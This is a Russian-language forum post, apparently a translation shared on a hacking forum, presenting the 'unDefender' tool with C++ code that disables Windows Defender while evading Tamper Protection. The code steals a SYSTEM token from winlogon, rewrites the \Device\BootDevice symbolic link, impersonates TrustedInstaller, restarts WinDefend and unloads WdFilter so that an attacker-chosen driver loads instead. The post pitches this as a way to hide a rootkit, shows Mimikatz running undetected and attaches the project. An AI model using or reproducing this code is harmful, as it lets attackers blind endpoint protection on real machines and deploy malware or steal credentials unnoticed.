• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Умирающий рыцарь в блестящих доспехах

Artem N

(L2) cache
Пользователь
Регистрация
28.11.2020
Сообщения
329
Реакции
278
Коротко

Обладая правами администратора и не взаимодействуя с GUI, мы можем отключить Защитник. При этом он останется в рабочем состоянии, а Защита от подделки ничего не заметит. Делается это путём перенаправления символической ссылки \Device\BootDevice, которая является частью пути, откуда загружается драйвер WdFilter. Это также можно использовать для того, чтобы Защитник загрузил произвольный драйвер. Код находится в репозитории unDefender.

Вступление

Бла-бла-бла, мы обсуждали с друзьями по интересам метод, позволяющий отключить Защитник, но чтобы это отключение/неявная неработоспособность не бросалось в глаза, а Защита от подделки ничего бы не заподозрила. Что мне понравилось в этом методе, так это то, что в нём использовались некоторые действительно умные махинации с символическими ссылками, которые я опишу в этой статье (которая чисто случайно также является первой в коллекции Advanced Persistent Tortellini :D). Кстати, этот метод - отличный способ скрыть руткит внутри Windows, так как Защитник можно обмануть, загрузив произвольный драйвер (но который, к сожалению, он должен быть подписан и не "переживёт" перезагрузку ОС). Ни один инструмент не сможет его определить, как вы скоро увидите. Берите своё пиво, парни, и наслаждайтесь чтением!

Пространства имён Win32/NT, символические ссылки

При загрузке драйвера в Windows есть два способа указать его местоположение: пространство имён файлов Win32 и пространство имён NT. Полный анализ тонких различий между этими двумя видами путей выходит за рамки данной статьи, но James Forshaw уже проделал большую работу по его объяснению. По сути, пространство имён файлов Win32 является урезанной версией пространства имён NT и в значительной степени зависят от символических ссылок. Пространство Win32 - это всем нам привычные пути, которые мы используем каждый день, те, которые используют букву диска. В то время как пространство NT использует другую, древовидную структуру, на которую и отображаются пути пространства Win32. Давайте посмотрим на WdFilter.sys:
Буфер обмена-7.jpg


Когда мы используем Проводник для навигации по папкам в файловой системе, мы используем пути пространства Win32, на самом же деле путь, который вы видите в таблице выше, является абстракцией над пространством NT. В ядре пути из левой части преобразуются в пути из правой части. Как видите, на моей машине диск C: является символической ссылкой на \Device\HarddiskVolume4. Символические ссылки используются для разных целей, например, для указания пути до определённого драйвера в файловой системе. С помощью командной строки смотрим WdFilter и видим путь, по которому он расположен:
wdfilterpath.png


Как вы видите, это не совсем то, что показано в таблице выше, так как \SystemRoot - это символическая ссылка. Используя Winobj.exe от SysInternals, мы видим, что \SystemRoot указывает на \Device\BootDevice\Windows. \Device\BootDevice - это ещё одна символическая ссылка на \Device\HarddiskVolume4 (на моём компьютере). Как и все объекты в ядре Windows, безопасность символических ссылок подчиняется правилам ACL. Проверим это:
symlinkacl.png


SYSTEM (и Administrators) не имеют разрешений READ/WRITE на символическую ссылку \SystemRoot (хотя её можно запросить и посмотреть, куда она указывает), но есть разрешение DELETE. Учтите тот факт, что SYSTEM может создавать новые символические ссылки и вы получите возможность фактически изменить символическую ссылку: просто удалите её и создайте заново, указав путь, который вы контролируете. То же самое относится и к другим символическим ссылкам, включая \Device\BootDevice. Чтобы переписать такую символическую ссылку, нам нужно использовать Native API, поскольку Win32 API не предоставляет такой возможности.

Код

Пройдёмся по коду нашего проекта unDefender. Вот блок-схема, как работает программа:
undefenderFlowchart.jpg


Все функции, используемые в программе, определены в заголовочном файле common.h. Здесь вы найдёте определения для функций, которые я динамически загружаю из ntdll. Обратите внимание, что я обернул типы HANDLE, HMODULE и SC_HANDLE в пользовательские типы, входящие в пространство имен RAII, поскольку я сильно полагаюсь на C++ для безопасной работы с этими типами. Эти типы определены в заголовочном файле raii.h и реализованы в raii.cpp.

Получаем права SYSTEM

Прежде всего, мы поднимем наш токен до уровня SYSTEM. Это легко делается при помощью функции GetSystem, реализованной в файле GetSystem.cpp.
C++:
#include "common.h"

bool GetSystem()
{
    RAII::Handle winlogonHandle = OpenProcess(PROCESS_ALL_ACCESS, false, FindPID(L"winlogon.exe"));
    if (!winlogonHandle.GetHandle())
    {
        std::cout << "[-] Couldn't get a PROCESS_ALL_ACCESS handle to winlogon.exe, exiting...\n";
        return false;
    }
    else std::cout << "[+] Got a PROCESS_ALL_ACCESS handle to winlogon.exe!\n";

    HANDLE tempHandle;
    auto success = OpenProcessToken(winlogonHandle.GetHandle(), TOKEN_QUERY | TOKEN_DUPLICATE, &tempHandle);
    if (!success)
    {
        std::cout << "[-] Couldn't get a handle to winlogon.exe's token, exiting...\n";
        return success;
    }
    else std::cout << "[+] Opened a handle to winlogon.exe's token!\n";
    RAII::Handle tokenHandle = tempHandle;
   
    success = ImpersonateLoggedOnUser(tokenHandle.GetHandle());
    if (!success)
    {
        std::cout << "[-] Couldn't impersonate winlogon.exe's token, exiting...\n";
        return success;
    }
    else std::cout << "[+] Successfully impersonated winlogon.exe's token, we are SYSTEM now ;)\n";
    return success;
}

Сохранение символической ссылки

После получения прав SYSTEM, нам необходимо создать резервную копию символической ссылки, чтобы мы могли потом программно восстановить её. Это делает функция GetSymbolicLinkTarget, реализованная в файле GetSymbolicLinkTarget.cpp. После получения адресов Nt-функций (код пропущен), мы определяем две ключевые структуры данных: UNICODE_STRING и OBJECT_ATTRIBUTES. Они инициализируются с помощью функций RtlInitUnicodeString и InitializeObjectAttributes. UNICODE_STRING инициализируется с помощью переменной symLinkName, которая имеет тип std::wstring и является одним из аргументов, передаваемых в функцию GetSymbolicLinkTarget из главной функции. Первая - это структура, используемая ядром Windows для работы с юникод-строками (duh!) и необходимая для инициализации второй, которая, в свою очередь, используется для открытия хэндла к символической ссылке с помощью NtOpenSymbolicLinkObject с доступом GENERIC_READ. Перед этим мы определяем хэндл, который будет инициализирован функцией NtOpenSymbolicLinkObject и которому мы присвоим соответствующий RAII-тип (мне лень, потом реализую способ сделать это напрямую без использования временной переменной).
Сделав это, приступаем к инициализации второй UNICODE_STRING, которая будет использоваться для хранения символической ссылки, полученной из NtQuerySymbolicLinkObject, принимающей в качестве аргументов RAII::Handle, описанный выше. Вторая UNICODE_STRING инициализируется nullptr, поскольку нас не волнует количество прочитанных байт. После этого возвращаем буфер для второй UNICODE_STRING и на этом всё.
C++:
UNICODE_STRING symlinkPath;
RtlInitUnicodeString(&symlinkPath, symLinkName.c_str());
OBJECT_ATTRIBUTES symlinkObjAttr{};
InitializeObjectAttributes(&symlinkObjAttr, &symlinkPath, OBJ_KERNEL_HANDLE, NULL, NULL);
HANDLE tempSymLinkHandle;

NTSTATUS status = NtOpenSymbolicLinkObject(&tempSymLinkHandle, GENERIC_READ, &symlinkObjAttr);
RAII::Handle symLinkHandle = tempSymLinkHandle;

UNICODE_STRING LinkTarget{};
wchar_t buffer[MAX_PATH] = { L'\0' };
LinkTarget.Buffer = buffer;
LinkTarget.Length = 0;
LinkTarget.MaximumLength = MAX_PATH;

status = NtQuerySymbolicLinkObject(symLinkHandle.GetHandle(), &LinkTarget, nullptr);
if (!NT_SUCCESS(status))
{
    Error(RtlNtStatusToDosError(status));
    std::wcout << L"[-] Couldn't get the target of the symbolic link " << symLinkName << std::endl;
    return L"";
}
else std::wcout << "[+] Symbolic link target is: " << LinkTarget.Buffer << std::endl;
return LinkTarget.Buffer;

Изменяем символическую ссылку

Мы сохранили старое значение символьной ссылки, настало время изменить её. Для этого мы ещё раз настроим две структуры UNICODE_STRING и OBJECT_ATTRIBUTES, которые будут идентифицировать нужную нам символическую ссылку, а затем вызовем функцию NtOpenSymbolicLink, чтобы получить дескриптор указанной символической ссылки с правами DELETE.
C++:
UNICODE_STRING symlinkPath;
RtlInitUnicodeString(&symlinkPath, symLinkName.c_str());
OBJECT_ATTRIBUTES symlinkObjAttr{};
InitializeObjectAttributes(&symlinkObjAttr, &symlinkPath, OBJ_KERNEL_HANDLE, NULL, NULL);
HANDLE symlinkHandle;

NTSTATUS status = NtOpenSymbolicLinkObject(&symlinkHandle, DELETE, &symlinkObjAttr);

Сделав это, приступаем к удалению. Нужно вызвать функцию NtMakeTemporaryObject и передать ей хэндл, который мы только что получили. Так потому, что символьную ссылку мы создали с атрибутом OBJ_PERMANENT, который увеличивает счётчик на них в менеджере объектов ядра на 1. Это означает, что даже если все хэндлы ссылки будут закрыты, сама она будет продолжать существовать внутри ядра. Поэтому, чтобы удалить её, мы должны сделать объект не постоянным, то есть NtMakeTemporaryObject просто уменьшит счётчик ссылок на 1. Когда мы вызовем CloseHandle для хэндла, счётчик ссылок обнулится и объект уничтожится:
C++:
status = NtMakeTemporaryObject(symlinkHandle);
CloseHandle(symlinkHandle);

После того как мы удалили символическую ссылку, настал момент создать её заново и сделать так, чтобы она указывала в новое место. Это делается путём повторной инициализации UNICODE_STRING и OBJECT_ATTRIBUTES и вызова NtCreateSymbolicLinkObject:
C++:
UNICODE_STRING target;
RtlInitUnicodeString(&target, newDestination.c_str());
UNICODE_STRING newSymLinkPath;
RtlInitUnicodeString(&newSymLinkPath, symLinkName.c_str());
OBJECT_ATTRIBUTES newSymLinkObjAttr{};
InitializeObjectAttributes(&newSymLinkObjAttr, &newSymLinkPath, OBJ_CASE_INSENSITIVE | OBJ_PERMANENT, NULL, NULL);
HANDLE newSymLinkHandle;

status = NtCreateSymbolicLinkObject(&newSymLinkHandle, SYMBOLIC_LINK_ALL_ACCESS, &newSymLinkObjAttr, &target);
if (status != STATUS_SUCCESS)
{
    std::wcout << L"[-] Couldn't create new symbolic link " << symLinkName << L" to " << newDestination << L". Error:0x" << std::hex << status << std::endl;
    return status;
}
else std::wcout << L"[+] Symbolic link " << symLinkName << L" to " << newDestination << L" created!" << std::endl;
CloseHandle(newSymLinkHandle);
return STATUS_SUCCESS;

Два момента:
1) когда вызываем функцию InitializeObjectAttributes, то передаём в неё атрибут OBJ_PERMANENT в качестве аргумента, чтобы символьная ссылка стала постоянной и не удалилась при завершении unDefender;
2) прямо перед возвратом STATUS_SUCCESS, мы вызываем CloseHandle для вновь созданной символической ссылки.

Это необходимо потому, что если хэндл останется открытым, счётчик ссылок будет равен 2 (1 для хэндла, 1 для OBJ_PERMANENT) и мы не сможем удалить её позже, когда попытаемся восстановить старую символьную ссылку. В этот момент символическая ссылка изменена и указывает на то место, которое мы контролируем: скопируем туда наш драйвер, удобно переименованный в WdFilter.sys - делаем это в первой строке главной функции через серию вызовов функции std::system. Знаю, что так поступать нецивилизованно, но смиритесь с этим.

Убиваем Защитник

Теперь переходим к самой пикантной части - убийству ЗаШИТника! Это делается в функции ImpersonateAndUnload (реализация в ImpersonateAndUnload.cpp) в 4 шага:
1) запускаем сервис и процесс TrustedInstaller;
2) открываем первый поток TrustedInstaller;
3) перевоплощаем токен;
4) выгружаем WdFilter. Нам нужно выдать себя за TrustedInstaller, потому что сервисы Защитника и WdFilter имеют правила ACL, которые дают полный контроль над ними только NT SERVICE\TrustedInstaller, но не SYSTEM или Administrators.

Шаг 1 - запускаем TrustedInstaller

Первое, что нужно сделать - это запустить службу TrustedInstaller. Получаем хэндл Диспетчера управления службами при помощи функции OpenSCManagerW, затем запускаем службу TrustedInstaller функциями OpenServiceW и StartServiceW. Служба TrustedInstaller, в свою очередь, запустит процесс TrustedInstaller, токен которого содержит SID NT SERVICE\TrustedInstaller. Всё довольно просто, вот код:
C++:
RAII::ScHandle svcManager = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!svcManager.GetHandle())
{
    Error(GetLastError());
    return 1;
}
else std::cout << "[+] Opened handle to the SCM!\n";

RAII::ScHandle trustedInstSvc = OpenServiceW(svcManager.GetHandle(), L"TrustedInstaller", SERVICE_START);
if (!trustedInstSvc.GetHandle())
{
    Error(GetLastError());
    std::cout << "[-] Couldn't get a handle to the TrustedInstaller service...\n";
    return 1;
}
else std::cout << "[+] Opened handle to the TrustedInstaller service!\n";

auto success = StartServiceW(trustedInstSvc.GetHandle(), 0, nullptr);
if (!success && GetLastError() != 0x420) // 0x420 is the error code returned when the service is already running
{
    Error(GetLastError());
    std::cout << "[-] Couldn't start TrustedInstaller service...\n";
    return 1;
}
else std::cout << "[+] Successfully started the TrustedInstaller service!\n";

Шаг 2 - открываем первый поток TrustedInstaller

Теперь, когда процесс TrustedInstaller активен, нам нужен хэнлд его первого потока, чтобы мы могли вызвать для него NtImpersonateThread на шаге 3. Это делается с помощью следующего кода:
C++:
auto trustedInstPid = FindPID(L"TrustedInstaller.exe");
if (trustedInstPid == ERROR_FILE_NOT_FOUND)
{
    std::cout << "[-] Couldn't find the TrustedInstaller process...\n";
    return 1;
}

auto trustedInstThreadId = GetFirstThreadID(trustedInstPid);
if (trustedInstThreadId == ERROR_FILE_NOT_FOUND || trustedInstThreadId == 0)
{
    std::cout << "[-] Couldn't find TrustedInstaller process' first thread...\n";
    return 1;
}

RAII::Handle hTrustedInstThread = OpenThread(THREAD_DIRECT_IMPERSONATION, false, trustedInstThreadId);
if (!hTrustedInstThread.GetHandle())
{
    std::cout << "[-] Couldn't open a handle to the TrustedInstaller process' first thread...\n";
    return 1;
}
else std::cout << "[+] Opened a THREAD_DIRECT_IMPERSONATION handle to the TrustedInstaller process' first thread!\n";

FindPID и GetFirstThreadID - это две функции, которые я реализовал в FindPID.cpp и GetFirstThreadID.cpp и которые делают именно то, о чем говорят их названия: они находят PID процесса, который вы им передаете, и выдают вам TID его первого потока. Нам нужен первый поток, поскольку в нём наверняка есть SID NT SERVICE\TrustedInstaller. Получив идентификатор потока, мы передаём его в OpenThread с правом доступа THREAD_DIRECT_IMPERSONATION, что позволит нам позже использовать полученный хэндл в функции NtImpersonateThread.

Шаг 3 - выдаём себя за TrustedInstaller

Сейчас мы достаточно подготовились, чтобы вызвать функцию NtImpersonateThread.Но сначала мы должны инициализировать структуру данных SECURITY_QUALITY_OF_SERVICE, чтобы сообщить ядру, какой тип перевоплощения мы хотим выполнить (тут дополнительная информация об уровнях перевоплощений):
C++:
SECURITY_QUALITY_OF_SERVICE sqos = {};
sqos.Length = sizeof(sqos);
sqos.ImpersonationLevel = SecurityImpersonation;
auto status = NtImpersonateThread(GetCurrentThread(), hTrustedInstThread.GetHandle(), &sqos);
if (status == STATUS_SUCCESS) std::cout << "[+] Successfully impersonated TrustedInstaller token!\n";
else
{
    Error(GetLastError());
    std::cout << "[-] Failed to impersonate TrustedInstaller...\n";
    return 1;
}

Если NtImpersonateThread хорошо выполнил свою работу, наш поток будет иметь SID от TrustedInstaller. Примечание: чтобы не испортить токен основного потока, ImpersonateAndUnload вызывается из main в жертвенном std:thread. Теперь у нас есть необходимые права доступа и мы можем переходить к шагу 4, чтобы выгрузить драйвер.

Шаг 4 - выгружаем WdFilter.sys

Для выгрузки WdFilter сначала нужно снять блокировку, наложенную на него самим Защитником. Это делается перезапуском сервиса WinDefend с помощью того же подхода, который мы использовали для запуска сервиса TrustedInstaller. Но сначала нам нужно дать нашему токену возможность загружать и выгружать драйвера. Это делается путём включения привилегии SeLoadDriverPrivilege в нашем контексте безопасности при помощи функции SetPrivilege, определённой в файле SetPrivilege.cpp. Передаём ей токен нашего потока и привилегию, которую мы хотим включить:
C++:
HANDLE tempHandle;
success = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, &tempHandle);
if (!success)
{
    Error(GetLastError());
    std::cout << "[-] Failed to open current thread token, exiting...\n";
    return 1;
}
RAII::Handle currentToken = tempHandle;

success = SetPrivilege(currentToken.GetHandle(), L"SeLoadDriverPrivilege", true);
if (!success) return 1;

После получения прав SeLoadDriverPrivilege перезапускаем сервис Защитника, WinDefend:
C++:
RAII::ScHandle winDefendSvc = OpenServiceW(svcManager.GetHandle(), L"WinDefend", SERVICE_ALL_ACCESS);
if (!winDefendSvc.GetHandle())
{
    Error(GetLastError());
    std::cout << "[-] Couldn't get a handle to the WinDefend service...\n";
    return 1;
}
else std::cout << "[+] Opened handle to the WinDefend service!\n";

SERVICE_STATUS svcStatus;
success = ControlService(winDefendSvc.GetHandle(), SERVICE_CONTROL_STOP, &svcStatus);
if (!success)
{
    Error(GetLastError());
    std::cout << "[-] Couldn't stop WinDefend service...\n";
    return 1;
}
else std::cout << "[+] Successfully stopped the WinDefend service! Proceeding to restart it...\n";

Sleep(10000);

success = StartServiceW(winDefendSvc.GetHandle(), 0, nullptr);
if (!success)
{
    Error(GetLastError());
    std::cout << "[-] Couldn't restart WinDefend service...\n";
    return 1;
}
else std::cout << "[+] Successfully restarted the WinDefend service!\n";

Единственное отличие запуска этого сервиса от запуска сервиса TrustedInstaller - это то, что сначала мы должны остановить сервис с помощью ControlService API (передав управляющий код SERVICE_CONTROL_STOP), а затем снова запустить его при помощьи StartServiceW. После перезапуска Защитника блокировка на WdFilter снимается и мы можем вызвать NtUnloadDriver:
C++:
UNICODE_STRING wdfilterDrivServ;
RtlInitUnicodeString(&wdfilterDrivServ, L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Wdfilter");

status = NtUnloadDriver(&wdfilterDrivServ);
if (status == STATUS_SUCCESS)
{
    std::cout << "[+] Successfully unloaded Wdfilter!\n";
}
else
{
    Error(status);
    std::cout << "[-] Failed to unload Wdfilter...\n";
}
return status;

Единственный аргумент функции NtUnloadDriver - строка, содержащая NT-путь \Registry, который можно увидеть с помощью WinObj. Если всё прошло по плану, то WdFilter будет выгружен из ядра.

Перезагрузка и восстановление символической ссылки

Теперь, когда WdFilter был выгружен, защита от несанкционированного доступа Защитника должна сработать в считанные мгновения и немедленно перезагрузить его, а также залочить, чтобы предотвратить дальнейшие выгрузки. Если символьная ссылка была успешна изменена, то будет загружен наш драйвер (в случае unDefender это RWE). Тем временем, через 10 секунд unDefender восстановит исходное значение символической ссылки, вызвав ChangeSymlink и передав старое значение.
undefenderdemo.gif


В видео вы можете заметить несколько вещей:
1) в списке моделей в Process Hacker WdFilter в момент выгрузки становится красным;
2) как только срабатывает защита от несанкционированного доступа, WdFilter становится зелёным;
3) мне удалось скопировать и запустить Mimikatz без детекта со стороны Защитника.

Примечание: значок Защитника стал жёлтым в правом нижнем углу, потому что он недоволен тем, что я отключил автоматическую отправку образцов. Это не связано с unDefender.

Ссылки:
xttps://twitter.com/jonasLyk/status/1378143191279472644
xttps://googleprojectzero.blogspot.com/2016/02/the-definitive-guide-on-win32-to-nt.html
xttps://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html
xttps://googleprojectzero.blogspot.com/2015/08/windows-10hh-symbolic-link-mitigations.html

---
Оригинал статьи: https://aptw.tf/2021/08/21/killing-defender.html
Переведено специально для XSS. В аттачах проект и красивая gif-ка, если вдруг пропадёт по ссылке.

Перевод вольный, но уж слишком я не люблю Защитник Windows за его неотключаемость... Так как "давненько не брал я в руки шашек", то возможны косяки в терминологии и прочие нюансы. Поэтому читайте код, а не текст ;) Но факт есть факт: метод работает, проверил лично!
 

Вложения

  • unDefender-master.zip
    85.9 КБ · Просмотры: 20
  • gif.7z.txt
    2.9 МБ · Просмотры: 22


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх